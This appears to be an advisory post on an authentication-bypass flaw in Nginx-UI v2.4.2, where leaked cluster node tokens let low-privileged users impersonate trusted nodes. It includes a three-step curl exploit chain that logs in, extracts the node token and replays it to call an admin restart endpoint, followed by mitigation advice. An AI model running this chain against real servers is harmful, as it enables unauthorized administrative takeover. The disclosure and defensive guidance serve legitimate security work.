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Nginx-UI contains a high-severity trust-boundary failure between ordinary authenticated users and cluster node credentials. The source code reveals that cluster node management and detail endpoints are reachable by low-privileged users and unredacted model structures return the internal token field. This secret token functions as the X-Node-Secret shared credential utilized for node-to-node authentication. When the middleware validates a correct node secret, it upgrades the request context to initUser, bypassing normal user authentication. Consequently, an attacker can extract a cluster node token through ordinary API requests and impersonate a trusted node against remote cluster management APIs, achieving cross-sectional administrative privilege escalation.
DailyCVE Form:
Platform: Nginx-UI
Version: v2.4.2
Vulnerability : Trust-Boundary
Severity: Critical
date: 2026-04-16
Prediction: To be confirmed
What Undercode Say:
The vulnerability exists due to improper mounting of cluster management routes inside shared authenticated scopes combined with unredacted sensitive token serialization in API responses. The request middleware blindly trusts supplied secret keys and elevates low-privileged requests to administrative context, allowing attackers to leverage leaked secrets for cross-node command execution.
Bash Commands and Codes
1. Obtain low-privileged JWT token via login
curl -X POST "http://target-ip:9000/api/login" \
-H "Content-Type: application/json" \
-d '{"name":"lowpriv_user","password":"password123"}'
2. Extract cluster node tokens from the exposed endpoint
curl -X GET "http://target-ip:9000/api/nodes" \
-H "Authorization: Bearer <JWT_TOKEN>"
3. Impersonate node and execute administrative commands remotely
curl -X POST "http://target-ip:9000/api/system/restart" \
-H "X-Node-Secret: <LEAKED_NODE_TOKEN>"
Exploit: (Educational Purposes!)
Prerequisites require an attacker to possess a valid low-privileged account on the primary platform instance. The attacker authenticates via the API to retrieve a standard session token, queries the node listing endpoint where model properties serialize the cleartext token field, and extracts the shared node secret. By passing this extracted secret via the header parameter to remote management interfaces, the application middleware upgrades the security context to initUser, completely bypassing conventional session verification rules and enabling arbitrary execution of restricted administrative endpoints like system restarts or service configurations.
Protection: from this CVE
Implement strict role-based access control measures ensuring that cluster node management endpoints require explicit administrator privileges rather than general user authentication. Refactor backend data transfer objects to completely omit or redact internal token parameters from API responses. Isolate node-to-node communication channels away from standard HTTP user-facing management planes and enforce strong mutually authenticated network security controls.
Impact
Successful exploitation permits any ordinary authenticated user to harvest cluster node shared secrets and translate them into complete authentication bypasses across remote nodes. Attackers can execute high-risk administrative operations, force system reboots, alter Nginx service behavior, manipulate configuration streams, achieve lateral movement throughout managed topologies, and take total control over the cluster management plane.
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Sources:
Reported By: github.com
Extra Source Hub:
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